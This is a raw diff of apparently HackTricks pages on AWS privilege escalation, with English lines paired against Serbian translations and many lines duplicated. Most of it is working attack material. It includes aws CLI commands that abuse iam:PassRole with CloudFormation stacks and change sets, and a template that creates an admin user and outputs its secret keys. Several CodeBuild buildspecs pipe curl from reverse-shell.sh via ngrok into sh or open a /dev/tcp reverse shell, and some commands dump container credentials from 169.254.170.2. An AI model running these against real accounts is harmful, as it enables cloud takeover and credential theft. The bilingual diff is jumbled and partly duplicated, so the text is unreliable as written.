iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Privesc to the cloudformation service role specified.
|
||||
**Potencijalni uticaj:** Privesc na servisnu ulogu cloudformation-a koja je navedena.
|
||||
|
||||
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
|
||||
|
||||
In this case you can a**buse an existing cloudformation stack** to update it and escalate privileges as in the previous scenario:
|
||||
|
||||
U ovom slučaju možete **zloupotrebiti postojeći cloudformation stack** da ga ažurirate i eskalirate privilegije kao u prethodnom scenariju:
|
||||
```bash
|
||||
aws cloudformation update-stack \
|
||||
--stack-name privesc \
|
||||
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
|
||||
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
|
||||
--capabilities CAPABILITY_IAM \
|
||||
--region eu-west-1
|
||||
--stack-name privesc \
|
||||
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
|
||||
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
|
||||
--capabilities CAPABILITY_IAM \
|
||||
--region eu-west-1
|
||||
```
|
||||
The `cloudformation:SetStackPolicy` dozvola se može koristiti da **dajte sebi `UpdateStack` dozvolu** nad stekom i izvršite napad.
|
||||
|
||||
The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack.
|
||||
|
||||
**Potential Impact:** Privesc to the cloudformation service role specified.
|
||||
**Potencijalni uticaj:** Privesc na cloudformation servisnu ulogu koja je navedena.
|
||||
|
||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||
|
||||
If you have this permission but **no `iam:PassRole`** you can still **update the stacks** used and abuse the **IAM Roles they have already attached**. Check the previous section for exploit example (just don't indicate any role in the update).
|
||||
Ako imate ovu dozvolu, ali **nemate `iam:PassRole`**, i dalje možete **ažurirati stekove** koji se koriste i zloupotrebiti **IAM uloge koje su već povezane**. Proverite prethodni odeljak za primer eksploatacije (samo nemojte navoditi nijednu ulogu u ažuriranju).
|
||||
|
||||
The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack.
|
||||
The `cloudformation:SetStackPolicy` dozvola se može koristiti da **dajte sebi `UpdateStack` dozvolu** nad stekom i izvršite napad.
|
||||
|
||||
**Potential Impact:** Privesc to the cloudformation service role already attached.
|
||||
**Potencijalni uticaj:** Privesc na cloudformation servisnu ulogu koja je već povezana.
|
||||
|
||||
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
An attacker with permissions to **pass a role and create & execute a ChangeSet** can **create/update a new cloudformation stack abuse the cloudformation service roles** just like with the CreateStack or UpdateStack.
|
||||
|
||||
The following exploit is a **variation of the**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) using the **ChangeSet permissions** to create a stack.
|
||||
Napadač sa dozvolama da **prođe ulogu i kreira & izvrši ChangeSet** može **kreirati/ažurirati novi cloudformation stek i zloupotrebiti cloudformation servisne uloge** baš kao sa CreateStack ili UpdateStack.
|
||||
|
||||
Sledeća eksploatacija je **varijacija**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) koristeći **ChangeSet dozvole** za kreiranje steka.
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
--change-set-name privesc \
|
||||
--change-set-type CREATE \
|
||||
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
|
||||
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
|
||||
--capabilities CAPABILITY_IAM \
|
||||
--region eu-west-1
|
||||
--stack-name privesc \
|
||||
--change-set-name privesc \
|
||||
--change-set-type CREATE \
|
||||
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
|
||||
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
|
||||
--capabilities CAPABILITY_IAM \
|
||||
--region eu-west-1
|
||||
|
||||
echo "Waiting 2 mins to change the stack"
|
||||
sleep 120
|
||||
|
||||
aws cloudformation execute-change-set \
|
||||
--change-set-name privesc \
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
--change-set-name privesc \
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
|
||||
echo "Waiting 2 mins to execute the stack"
|
||||
sleep 120
|
||||
|
||||
aws cloudformation describe-stacks \
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
```
|
||||
Dozvola `cloudformation:SetStackPolicy` može se koristiti za **dodeljivanje sebi `ChangeSet` dozvola** nad stekom i izvršavanje napada.
|
||||
|
||||
The `cloudformation:SetStackPolicy` permission can be used to **give yourself `ChangeSet` permissions** over a stack and perform the attack.
|
||||
|
||||
**Potential Impact:** Privesc to cloudformation service roles.
|
||||
**Potencijalni uticaj:** Privesc na cloudformation servisne uloge.
|
||||
|
||||
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
This is like the previous method without passing **IAM roles**, so you can just **abuse already attached ones**, just modify the parameter:
|
||||
|
||||
Ovo je kao prethodna metoda bez prosleđivanja **IAM uloga**, tako da možete samo **zloupotrebiti već pridružene**, samo izmenite parametar:
|
||||
```
|
||||
--change-set-type UPDATE
|
||||
```
|
||||
|
||||
**Potential Impact:** Privesc to the cloudformation service role already attached.
|
||||
**Potencijalni Uticaj:** Privesc na cloudformation servisnu ulogu koja je već povezana.
|
||||
|
||||
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
|
||||
|
||||
An attacker could abuse these permissions to create/update StackSets to abuse arbitrary cloudformation roles.
|
||||
Napadač bi mogao da zloupotrebi ove dozvole da kreira/aktualizuje StackSets kako bi zloupotrebio proizvoljne cloudformation uloge.
|
||||
|
||||
**Potential Impact:** Privesc to cloudformation service roles.
|
||||
**Potencijalni Uticaj:** Privesc na cloudformation servisne uloge.
|
||||
|
||||
### `cloudformation:UpdateStackSet`
|
||||
|
||||
An attacker could abuse this permission without the passRole permission to update StackSets to abuse the attached cloudformation roles.
|
||||
Napadač bi mogao da zloupotrebi ovu dozvolu bez passRole dozvole da ažurira StackSets kako bi zloupotrebio povezane cloudformation uloge.
|
||||
|
||||
**Potential Impact:** Privesc to the attached cloudformation roles.
|
||||
**Potencijalni Uticaj:** Privesc na povezane cloudformation uloge.
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,84 +2,74 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like:
|
||||
|
||||
Napadač bi mogao, na primer, da koristi **cloudformation šablon** koji generiše **ključeve za admin** korisnika kao:
|
||||
```json
|
||||
{
|
||||
"Resources": {
|
||||
"AdminUser": {
|
||||
"Type": "AWS::IAM::User"
|
||||
},
|
||||
"AdminPolicy": {
|
||||
"Type": "AWS::IAM::ManagedPolicy",
|
||||
"Properties": {
|
||||
"Description": "This policy allows all actions on all resources.",
|
||||
"PolicyDocument": {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": ["*"],
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
},
|
||||
"Users": [
|
||||
{
|
||||
"Ref": "AdminUser"
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"MyUserKeys": {
|
||||
"Type": "AWS::IAM::AccessKey",
|
||||
"Properties": {
|
||||
"UserName": {
|
||||
"Ref": "AdminUser"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"Outputs": {
|
||||
"AccessKey": {
|
||||
"Value": {
|
||||
"Ref": "MyUserKeys"
|
||||
},
|
||||
"Description": "Access Key ID of Admin User"
|
||||
},
|
||||
"SecretKey": {
|
||||
"Value": {
|
||||
"Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"]
|
||||
},
|
||||
"Description": "Secret Key of Admin User"
|
||||
}
|
||||
}
|
||||
"Resources": {
|
||||
"AdminUser": {
|
||||
"Type": "AWS::IAM::User"
|
||||
},
|
||||
"AdminPolicy": {
|
||||
"Type": "AWS::IAM::ManagedPolicy",
|
||||
"Properties": {
|
||||
"Description": "This policy allows all actions on all resources.",
|
||||
"PolicyDocument": {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": ["*"],
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
},
|
||||
"Users": [
|
||||
{
|
||||
"Ref": "AdminUser"
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"MyUserKeys": {
|
||||
"Type": "AWS::IAM::AccessKey",
|
||||
"Properties": {
|
||||
"UserName": {
|
||||
"Ref": "AdminUser"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"Outputs": {
|
||||
"AccessKey": {
|
||||
"Value": {
|
||||
"Ref": "MyUserKeys"
|
||||
},
|
||||
"Description": "Access Key ID of Admin User"
|
||||
},
|
||||
"SecretKey": {
|
||||
"Value": {
|
||||
"Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"]
|
||||
},
|
||||
"Description": "Secret Key of Admin User"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Then **generate the cloudformation stack**:
|
||||
|
||||
Zatim **generišite cloudformation stek**:
|
||||
```bash
|
||||
aws cloudformation create-stack --stack-name privesc \
|
||||
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
|
||||
--role arn:aws:iam::[REDACTED]:role/adminaccess \
|
||||
--capabilities CAPABILITY_IAM --region us-west-2
|
||||
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
|
||||
--role arn:aws:iam::[REDACTED]:role/adminaccess \
|
||||
--capabilities CAPABILITY_IAM --region us-west-2
|
||||
```
|
||||
|
||||
**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**:
|
||||
|
||||
**Sačekajte nekoliko minuta** da se stek generiše, a zatim **dobijte izlaz** iz steka gde su **akreditivi sačuvani**:
|
||||
```bash
|
||||
aws cloudformation describe-stacks \
|
||||
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
|
||||
--region uswest-2
|
||||
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
|
||||
--region uswest-2
|
||||
```
|
||||
|
||||
### References
|
||||
|
||||
- [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## codebuild
|
||||
|
||||
Get more info in:
|
||||
Dobijte više informacija u:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-codebuild-enum.md
|
||||
@@ -12,70 +12,65 @@ Get more info in:
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
|
||||
Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project:
|
||||
Samo sa jednom od ovih dozvola dovoljno je pokrenuti gradnju sa novim buildspec-om i ukrasti token iam uloge dodeljene projektu:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
|
||||
```bash
|
||||
cat > /tmp/buildspec.yml <<EOF
|
||||
version: 0.2
|
||||
|
||||
phases:
|
||||
build:
|
||||
commands:
|
||||
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
|
||||
build:
|
||||
commands:
|
||||
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
|
||||
EOF
|
||||
|
||||
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="StartBuildBatch" }}
|
||||
|
||||
```bash
|
||||
cat > /tmp/buildspec.yml <<EOF
|
||||
version: 0.2
|
||||
|
||||
batch:
|
||||
fast-fail: false
|
||||
build-list:
|
||||
- identifier: build1
|
||||
env:
|
||||
variables:
|
||||
BUILD_ID: build1
|
||||
buildspec: |
|
||||
version: 0.2
|
||||
env:
|
||||
shell: sh
|
||||
phases:
|
||||
build:
|
||||
commands:
|
||||
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
|
||||
ignore-failure: true
|
||||
fast-fail: false
|
||||
build-list:
|
||||
- identifier: build1
|
||||
env:
|
||||
variables:
|
||||
BUILD_ID: build1
|
||||
buildspec: |
|
||||
version: 0.2
|
||||
env:
|
||||
shell: sh
|
||||
phases:
|
||||
build:
|
||||
commands:
|
||||
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
|
||||
ignore-failure: true
|
||||
EOF
|
||||
|
||||
aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Note**: The difference between these two commands is that:
|
||||
**Napomena**: Razlika između ove dve komande je u tome što:
|
||||
|
||||
- `StartBuild` triggers a single build job using a specific `buildspec.yml`.
|
||||
- `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel).
|
||||
- `StartBuild` pokreće jedan posao izgradnje koristeći specifičan `buildspec.yml`.
|
||||
- `StartBuildBatch` vam omogućava da pokrenete grupu izgradnji, sa složenijim konfiguracijama (kao što je pokretanje više izgradnji paralelno).
|
||||
|
||||
**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
|
||||
**Potencijalni uticaj:** Direktno privesc na pridružene AWS Codebuild uloge.
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one.
|
||||
Napadač sa **`iam:PassRole`, `codebuild:CreateProject`, i `codebuild:StartBuild` ili `codebuild:StartBuildBatch`** dozvolama bi mogao da **escalira privilegije na bilo koju codebuild IAM ulogu** kreiranjem aktivne.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
|
||||
```bash
|
||||
# Enumerate then env and get creds
|
||||
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
@@ -84,20 +79,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI
|
||||
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
|
||||
|
||||
JSON="{
|
||||
\"name\": \"codebuild-demo-project\",
|
||||
\"source\": {
|
||||
\"type\": \"NO_SOURCE\",
|
||||
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
|
||||
},
|
||||
\"artifacts\": {
|
||||
\"type\": \"NO_ARTIFACTS\"
|
||||
},
|
||||
\"environment\": {
|
||||
\"type\": \"LINUX_CONTAINER\",
|
||||
\"image\": \"aws/codebuild/standard:1.0\",
|
||||
\"computeType\": \"BUILD_GENERAL1_SMALL\"
|
||||
},
|
||||
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
|
||||
\"name\": \"codebuild-demo-project\",
|
||||
\"source\": {
|
||||
\"type\": \"NO_SOURCE\",
|
||||
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
|
||||
},
|
||||
\"artifacts\": {
|
||||
\"type\": \"NO_ARTIFACTS\"
|
||||
},
|
||||
\"environment\": {
|
||||
\"type\": \"LINUX_CONTAINER\",
|
||||
\"image\": \"aws/codebuild/standard:1.0\",
|
||||
\"computeType\": \"BUILD_GENERAL1_SMALL\"
|
||||
},
|
||||
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
|
||||
}"
|
||||
|
||||
|
||||
@@ -117,19 +112,17 @@ aws codebuild start-build --project-name codebuild-demo-project
|
||||
# Delete the project
|
||||
aws codebuild delete-project --name codebuild-demo-project
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Example2" }}
|
||||
|
||||
```bash
|
||||
# Generated by AI, not tested
|
||||
# Create a buildspec.yml file with reverse shell command
|
||||
echo 'version: 0.2
|
||||
phases:
|
||||
build:
|
||||
commands:
|
||||
- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml
|
||||
build:
|
||||
commands:
|
||||
- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml
|
||||
|
||||
# Upload the buildspec to the bucket and give access to everyone
|
||||
aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml
|
||||
@@ -141,25 +134,23 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
|
||||
aws codebuild start-build --project-name reverse-shell-project
|
||||
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Direct privesc to any AWS Codebuild role.
|
||||
**Potencijalni uticaj:** Direktno privesc na bilo koju AWS Codebuild ulogu.
|
||||
|
||||
> [!WARNING]
|
||||
> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**.
|
||||
> U **Codebuild kontejneru** datoteka `/codebuild/output/tmp/env.sh` sadrži sve env varijable potrebne za pristup **metapodacima akreditiva**.
|
||||
|
||||
> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
> Ova datoteka sadrži **env varijablu `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL putanju** za pristup akreditivima. Biće nešto poput `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
|
||||
> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials.
|
||||
> Dodajte to URL-u **`http://169.254.170.2/`** i moći ćete da preuzmete akreditive uloge.
|
||||
|
||||
> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**.
|
||||
> Pored toga, takođe sadrži **env varijablu `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletnu URL adresu za dobijanje **informacija o metapodacima kontejnera**.
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token
|
||||
|
||||
Baš kao u prethodnom odeljku, ako umesto kreiranja projekta za izgradnju možete da ga modifikujete, možete da navedete IAM ulogu i ukradete token.
|
||||
```bash
|
||||
REV_PATH="/tmp/codebuild_pwn.json"
|
||||
|
||||
@@ -171,20 +162,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
|
||||
|
||||
# You need to indicate the name of the project you want to modify
|
||||
JSON="{
|
||||
\"name\": \"<codebuild-demo-project>\",
|
||||
\"source\": {
|
||||
\"type\": \"NO_SOURCE\",
|
||||
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
|
||||
},
|
||||
\"artifacts\": {
|
||||
\"type\": \"NO_ARTIFACTS\"
|
||||
},
|
||||
\"environment\": {
|
||||
\"type\": \"LINUX_CONTAINER\",
|
||||
\"image\": \"aws/codebuild/standard:1.0\",
|
||||
\"computeType\": \"BUILD_GENERAL1_SMALL\"
|
||||
},
|
||||
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
|
||||
\"name\": \"<codebuild-demo-project>\",
|
||||
\"source\": {
|
||||
\"type\": \"NO_SOURCE\",
|
||||
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
|
||||
},
|
||||
\"artifacts\": {
|
||||
\"type\": \"NO_ARTIFACTS\"
|
||||
},
|
||||
\"environment\": {
|
||||
\"type\": \"LINUX_CONTAINER\",
|
||||
\"image\": \"aws/codebuild/standard:1.0\",
|
||||
\"computeType\": \"BUILD_GENERAL1_SMALL\"
|
||||
},
|
||||
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
|
||||
}"
|
||||
|
||||
printf "$JSON" > $REV_PATH
|
||||
@@ -193,16 +184,14 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to any AWS Codebuild role.
|
||||
**Potencijalni uticaj:** Direktno privesc na bilo koju AWS Codebuild ulogu.
|
||||
|
||||
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**.
|
||||
Kao u prethodnom odeljku, ali **bez `iam:PassRole` dozvole**, možete zloupotrebiti ove dozvole da **modifikujete postojeće Codebuild projekte i pristupite ulozi koju već imaju dodeljenu**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
|
||||
```sh
|
||||
REV_PATH="/tmp/codebuild_pwn.json"
|
||||
|
||||
@@ -213,20 +202,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI
|
||||
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
|
||||
|
||||
JSON="{
|
||||
\"name\": \"<codebuild-demo-project>\",
|
||||
\"source\": {
|
||||
\"type\": \"NO_SOURCE\",
|
||||
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
|
||||
},
|
||||
\"artifacts\": {
|
||||
\"type\": \"NO_ARTIFACTS\"
|
||||
},
|
||||
\"environment\": {
|
||||
\"type\": \"LINUX_CONTAINER\",
|
||||
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
|
||||
\"computeType\": \"BUILD_GENERAL1_SMALL\",
|
||||
\"imagePullCredentialsType\": \"CODEBUILD\"
|
||||
}
|
||||
\"name\": \"<codebuild-demo-project>\",
|
||||
\"source\": {
|
||||
\"type\": \"NO_SOURCE\",
|
||||
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
|
||||
},
|
||||
\"artifacts\": {
|
||||
\"type\": \"NO_ARTIFACTS\"
|
||||
},
|
||||
\"environment\": {
|
||||
\"type\": \"LINUX_CONTAINER\",
|
||||
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
|
||||
\"computeType\": \"BUILD_GENERAL1_SMALL\",
|
||||
\"imagePullCredentialsType\": \"CODEBUILD\"
|
||||
}
|
||||
}"
|
||||
|
||||
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
|
||||
@@ -237,11 +226,9 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="StartBuildBatch" }}
|
||||
|
||||
```sh
|
||||
REV_PATH="/tmp/codebuild_pwn.json"
|
||||
|
||||
@@ -250,20 +237,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
|
||||
|
||||
# You need to indicate the name of the project you want to modify
|
||||
JSON="{
|
||||
\"name\": \"project_name\",
|
||||
\"source\": {
|
||||
\"type\": \"NO_SOURCE\",
|
||||
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\"
|
||||
},
|
||||
\"artifacts\": {
|
||||
\"type\": \"NO_ARTIFACTS\"
|
||||
},
|
||||
\"environment\": {
|
||||
\"type\": \"LINUX_CONTAINER\",
|
||||
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
|
||||
\"computeType\": \"BUILD_GENERAL1_SMALL\",
|
||||
\"imagePullCredentialsType\": \"CODEBUILD\"
|
||||
}
|
||||
\"name\": \"project_name\",
|
||||
\"source\": {
|
||||
\"type\": \"NO_SOURCE\",
|
||||
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\"
|
||||
},
|
||||
\"artifacts\": {
|
||||
\"type\": \"NO_ARTIFACTS\"
|
||||
},
|
||||
\"environment\": {
|
||||
\"type\": \"LINUX_CONTAINER\",
|
||||
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
|
||||
\"computeType\": \"BUILD_GENERAL1_SMALL\",
|
||||
\"imagePullCredentialsType\": \"CODEBUILD\"
|
||||
}
|
||||
}"
|
||||
|
||||
printf "$JSON" > $REV_PATH
|
||||
@@ -274,41 +261,37 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
|
||||
|
||||
aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
|
||||
**Potencijalni uticaj:** Direktno privesc do povezanih AWS Codebuild uloga.
|
||||
|
||||
### SSM
|
||||
|
||||
Having **enough permissions to start a ssm session** it's possible to get **inside a Codebuild project** being built.
|
||||
Imati **dovoljno dozvola za pokretanje ssm sesije** omogućava pristup **unutar Codebuild projekta** koji se gradi.
|
||||
|
||||
The codebuild project will need to have a breakpoint:
|
||||
Codebuild projekat će morati da ima tačku prekida:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">phases:
|
||||
pre_build:
|
||||
commands:
|
||||
- echo Entered the pre_build phase...
|
||||
- echo "Hello World" > /tmp/hello-world
|
||||
pre_build:
|
||||
commands:
|
||||
- echo Ušao u pre_build fazu...
|
||||
- echo "Hello World" > /tmp/hello-world
|
||||
<strong> - codebuild-breakpoint
|
||||
</strong></code></pre>
|
||||
|
||||
And then:
|
||||
|
||||
I zatim:
|
||||
```bash
|
||||
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
|
||||
aws ssm start-session --target <sessionTarget> --region <region>
|
||||
```
|
||||
|
||||
For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
|
||||
Za više informacija [**proverite dokumentaciju**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
An attacker able to start/restart a build of a specific CodeBuild project which stores its `buildspec.yml` file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process.
|
||||
|
||||
Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker.
|
||||
Napadač koji može da pokrene/ponovo pokrene gradnju određenog CodeBuild projekta koji čuva svoj `buildspec.yml` fajl na S3 bucket-u kojem napadač ima pristup za pisanje, može dobiti izvršenje komandi u CodeBuild procesu.
|
||||
|
||||
Napomena: eskalacija je relevantna samo ako CodeBuild radnik ima drugačiju ulogu, nadamo se privilegovaniju, od one napadača.
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -325,29 +308,22 @@ aws codebuild start-build --project-name <project-name>
|
||||
|
||||
# Wait for the reverse shell :)
|
||||
```
|
||||
|
||||
You can use something like this **buildspec** to get a **reverse shell**:
|
||||
|
||||
Možete koristiti nešto poput ovog **buildspec** da dobijete **reverse shell**:
|
||||
```yaml:buildspec.yml
|
||||
version: 0.2
|
||||
|
||||
phases:
|
||||
build:
|
||||
commands:
|
||||
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
|
||||
build:
|
||||
commands:
|
||||
